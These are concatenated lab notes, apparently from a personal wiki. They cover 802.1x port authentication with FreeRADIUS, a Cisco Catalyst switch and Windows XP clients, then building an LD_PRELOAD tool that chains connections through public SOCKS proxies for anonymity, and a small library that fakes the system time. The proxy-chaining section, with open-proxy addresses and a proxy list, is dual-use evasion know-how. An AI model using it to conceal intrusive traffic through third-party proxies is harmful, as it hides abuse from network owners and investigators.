Switch(config)# interface FastEthernet0/10
Switch(config-if)# switchport mode access
Switch(config-if)# authentication event fail retry 0 action authorize vlan 30
Switch(config-if)# authentication event no-response action authorize vlan 20
Switch(config-if)# authentication port-control auto
Switch(config-if)# mab eap
Switch(config-if)# dot1x pae authenticator
Switch(config-if)# dot1x timeout tx-period 1
Switch(config-if)# spanning-tree portfast
Switch# !debug dot1x


Supplicant (Windows XP)

Copy cacert.pem and wxp.p12 to the windows xp client.
Rename cacert.pem to cacert.der.

C:\> net start "Wired Autoconfig"
C:\> mmc
File > Add/Remove Snap-in... > Add > Certificates > Add > Computer account > Next > Finish > Close > OK
- Certifcates (Local Computer) > Personal > Certificates > All Tasks > Import... > wxp.p12 > key (MY_EXPORT)
- Certifcates (Local Computer) > Trusted Root Certification Authorities > Certificates > All Tasks > Import... > cacert.der
C:\> netsh lan export profile folder=C:\
C:\> type nic.xml
<?xml version="1.0"?>
<LANProfile xmlns="http://www.microsoft.com/networking/LAN/profile/v1">
        <MSM>
                <security>
                        <OneXEnforced>false</OneXEnforced>
                        <OneXEnabled>true</OneXEnabled>
                        <OneX xmlns="http://www.microsoft.com/networking/OneX/v1">
                                <cacheUserData>false</cacheUserData>
                                <authMode>machineOrUser</authMode>
                                <EAPConfig><EapHostConfig xmlns="http://www.microsoft.com/provisioning/EapHostConfig"><EapMethod><Type xmlns="http://www.microsoft.com/provisioning/EapCommon">13</Type><VendorId xmlns="http://www.microsoft.com/provisioning/EapCommon">0</VendorId><VendorType xmlns="http://www.microsoft.com/provisioning/EapCommon">0</VendorType><AuthorId xmlns="http://www.microsoft.com/provisioning/EapCommon">0</AuthorId></EapMethod><ConfigBlob>020000002A0000001D0000001400000037689DD23A688A3C5CFF726F9407DC30F999752F000001000000</ConfigBlob></EapHostConfig></EAPConfig>
                        </OneX>
                </security>
        </MSM>
</LANProfile>
Change 'machineOrUser' for 'machine'.
C:\> netsh lan add profile filename=nic.xml
NIC > Properties > Authentication
- Enable IEEE 802.1x authentication for this network
-- EAP type: Smart Card or other Certificate
-- Settings
--- Use a certificate on this computer > Use simple certificate selection
--- Validate server certificate
--- Trusted Root Certification Authorities > ca.lab.net


References

http://en.wikipedia.org/wiki/IEEE_802.1X
http://www.cisco.com/en/US/docs/solutions/Enterprise/Security/TrustSec_1.99/Dot1X_Deployment/Dot1x_Dep_Guide.html

# Wired 802.1x with MD5


Authentication server (Freeradius)

# apt-get install freeradius
# cat /etc/freeradius/clients.conf
client c2960_switch {
        ipaddr = 192.168.0.200
        secret = MYSECRET
}
# cat /etc/freeradius/users
"user1" Cleartext-Password := "PASSWORD1"
        Filter-Id = "user1_acl.in"

"user2" Cleartext-Password := "PASSWORD2"
        Tunnel-Type = VLAN,
        Tunnel-Medium-Type = IEEE-802,
        Tunnel-Private-Group-Id = 10

"000f1f8ce650" Cleartext-Password := "000f1f8ce650" # Supplicant's MAC address
        Tunnel-Type = VLAN,
        Tunnel-Medium-Type = IEEE-802,
        Tunnel-Private-Group-Id = 11
# cat /etc/freeradius/radiusd.conf
prefix = /usr
exec_prefix = /usr
sysconfdir = /etc
localstatedir = /var
sbindir = ${exec_prefix}/sbin
logdir = /var/log/freeradius
raddbdir = /etc/freeradius
radacctdir = ${logdir}/radacct
name = freeradius
confdir = ${raddbdir}
run_dir = ${localstatedir}/run/${name}
db_dir = ${raddbdir}
libdir = /usr/lib/freeradius
pidfile = ${run_dir}/${name}.pid
user = freerad
group = freerad
max_request_time = 30
cleanup_delay = 5
max_requests = 1024
listen {
        type = auth
        ipaddr = *
        port = 0
}
listen {
        ipaddr = *
        port = 0
        type = acct
}
hostname_lookups = no
allow_core_dumps = no
regular_expressions     = yes
extended_expressions    = yes
log {
        destination = files
        file = ${logdir}/radius.log
        syslog_facility = daemon
        stripped_names = no
        auth = no
        auth_badpass = no
        auth_goodpass = no
}
checkrad = ${sbindir}/checkrad
security {
        max_attributes = 200
        reject_delay = 1
        status_server = yes
}
proxy_requests  = yes
$INCLUDE proxy.conf
$INCLUDE clients.conf
thread pool {
        start_servers = 5
        max_servers = 32
        min_spare_servers = 3
        max_spare_servers = 10
        max_requests_per_server = 0
}
modules {
        $INCLUDE ${confdir}/modules/
        $INCLUDE eap.conf
}
instantiate {
        exec
        expr
        expiration
        logintime
}
$INCLUDE policy.conf
$INCLUDE sites-enabled/
# mkdir /var/log/freeradius/radacct
# chown freerad:freerad /var/log/freeradius/radacct
# cat /etc/freeradius/sites-enabled/default
authorize {
        preprocess
        chap
        mschap
        digest
        suffix
        eap {
                ok = return
        }
        files
        expiration
        logintime
        pap
}
authenticate {
        Auth-Type PAP {
                pap
        }
        Auth-Type CHAP {
                chap
        }
        Auth-Type MS-CHAP {
                mschap
        }
        digest
        unix
        eap
}
preacct {
        preprocess
        acct_unique
        suffix
        files
}
accounting {
        detail
        unix
        radutmp
        exec
        attr_filter.accounting_response
}
session {
        radutmp
}
post-auth {
        exec
        Post-Auth-Type REJECT {
                attr_filter.access_reject
        }
}
pre-proxy {
}
post-proxy {
        eap
}

# /etc/init.d/freeradius stop
# freeradius -X


Authenticator/NAS (Cisco Catalyst 2960)

Switch(config)# aaa new-model
Switch(config)# radius server freeradius
Switch(config-radius-server)# address ipv4 192.168.0.100 auth-port 1812 acct-port 1813
Switch(config-radius-server)# key MYSECRET
Switch(config)# aaa authentication dot1x default group radius
Switch(config)# aaa authorization network default group radius
Switch(config)# aaa accounting dot1x default start-stop group radius
Switch(config)# radius-server vsa send accounting
Switch(config)# radius-server vsa send authentication
Switch(config)# interface FastEthernet0/10
Switch(config-if)# switchport mode access
Switch(config-if)# authentication event fail retry 0 action authorize vlan 30
Switch(config-if)# authentication event no-response action authorize vlan 20
Switch(config-if)# authentication port-control auto
Switch(config-if)# mab eap
Switch(config-if)# dot1x pae authenticator
Switch(config-if)# dot1x timeout tx-period 1
Switch(config-if)# spanning-tree portfast
Switch(config)# ip access-list extended user1_acl
Switch(config-ext-nacl)#  permit icmp any host 192.168.0.100
Switch# test aaa group radius user1 PASSWORD1 legacy
Switch# !debug dot1x


Supplicant (Windows XP)

C:\> net start "Wired Autoconfig"
NIC > Properties > Authentication
- Enable IEEE 802.1x authentication for this network
- EAP type: MD5-Challenge


References

http://en.wikipedia.org/wiki/IEEE_802.1X
http://www.cisco.com/en/US/docs/solutions/Enterprise/Security/TrustSec_1.99/Dot1X_Deployment/Dot1x_Dep_Guide.html

# ashell: Proxy chaining hooking connect()


Introduction

Anonymous shell (ashell) is a tool to tunnel your connections through HTTP/Socks4/Socks5 proxies.
Supports TCP, authentication and chaining different proxy types.
It works by hooking the connect() function using LD_PRELOAD environment variable.

http://sourceforge.net/projects/ashell/


Building and using the tool

# apt-get install libssl-dev
# wget http://downloads.sourceforge.net/project/ashell/ashell-0.3.tar.bz2
# tar xvjf ashell-0.3.tar.bz2
# cd ashell-0.3
# cat README
# cp ashell/ashell.c .
# cat > Makefile << "EOF"
> HEADERS = http.h socks.h strlib.h
> OBJECTS = http.o socks.o strlib.o ashell.o
> CFLAGS = -Wall
> LFLAGS = -ldl -shared -nostartfiles -fpic
>
> default: ashell.so
>
> %.o: %.c $(HEADERS)
> #gcc -o $@ -c $<
>
> ashell.so: $(OBJECTS)
> #gcc -o $@ $(CFLAGS) $(LFLAGS) $(OBJECTS)
>
> clean:
> #rm -rf $(OBJECTS)
> EOF
# sed -i 's/#/\t/' Makefile
# make
# curl -w "\nTime total=%{time_total}\n" whatismyip.akamai.com
1.2.3.4
Time total=0,058
# export P_DEBUG=0 # P_DEBUG=1 turns on debugging
# export LD_PRELOAD=./ashell.so
# export APROXY=S:89.28.65.46:1080+S:86.127.123.141:18060
# curl -w "\nTime total=%{time_total}\n" whatismyip.akamai.com
86.127.123.141
Time total=3,323


Socks5 open proxy list

http://spys.ru/en/socks-proxy-list/


# LD_PRELOAD hooking


# grep -m 1 localtime /usr/include/time.h
extern struct tm *localtime (__const time_t *__timer) __THROW;
# cat newdate.c
#define _GNU_SOURCE
#include <stdio.h>
#include <time.h>
#include <dlfcn.h>

struct tm *(*orig_localtime)(const time_t *timep);

struct tm *localtime(const time_t *timep){
        time_t t=946684860;
        return orig_localtime(&t);
}

void _init(void){
        orig_localtime=dlsym(RTLD_NEXT,"localtime");
}
# gcc -Wall -fPIC -o newdate.o -c newdate.c
# ld -shared -o newdate.so newdate.o -ldl
# date
Thu Jan 10 13:35:30 CET 2013
# LD_PRELOAD=./newdate.so date
Sat Jan  1 01:01:00 CET 2000